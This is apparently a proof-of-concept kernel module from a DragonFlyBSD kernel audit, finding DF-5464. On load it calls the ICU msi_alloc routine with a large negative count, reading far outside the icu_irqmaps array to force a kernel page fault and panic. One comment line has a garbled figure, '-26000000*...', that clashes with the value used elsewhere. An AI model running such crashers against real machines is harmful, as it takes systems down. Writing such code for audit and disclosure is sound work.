⬢ DragonFlyBSD Kernel Audit
DF-5464 / icu_msiabi_neg.c
← back to finding ↓ download raw
/*
 * DF-5464 crasher #1: msi_alloc(count = -2600000) -> the scan loop walks
 * 'i' far below zero and reads icu_irqmaps[0][i] (icu_abi.c:476) at
 * ~41.6 MB below the array, which is below KERNBASE
 * (icu_irqmaps @ 0xffffffff81a00420, kernel image starts
 * 0xffffffff80200000): unmapped -> kernel-mode page fault -> panic.
 *
 * Second loop iteration only: i starts at icu_abi_msi_start (0),
 * maps[0][0] is ICU_IMT_LEGACY (!= UNUSED) so the first iteration
 * 'continue's, then i += count = -26000000*... i.e. i = -2600000.
 *
 * On an INVARIANTS kernel this panics at the powerof2/count KASSERTs
 * (icu_abi.c:460-461) instead.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/machintr.h>

extern struct machintr_abi MachIntrABI_ICU;

static int zone[8];

static int
icu_neg_modevent(module_t mod __unused, int type,
    void *data __unused)
{
	int rc;

	switch (type) {
	case MOD_LOAD:
		kprintf("icu_msiabi_neg: calling ICU msi_alloc(count=-2600000,"
		    " cpu0): expect kernel page fault on icu_irqmaps[0]"
		    "[-2600000] (icu_abi.c:476)\n");
		rc = MachIntrABI_ICU.msi_alloc(zone, -2600000, 0);
		kprintf("icu_msiabi_neg: SURVIVED, rc=%d (unexpected on a "
		    "production kernel)\n", rc);
		return 0;
	case MOD_UNLOAD:
		return 0;
	default:
		return EOPNOTSUPP;
	}
}

static moduledata_t icu_msiabi_neg_mod = {
	"icu_msiabi_neg", icu_neg_modevent, NULL
};
DECLARE_MODULE(icu_msiabi_neg, icu_msiabi_neg_mod,
    SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_VERSION(icu_msiabi_neg, 1);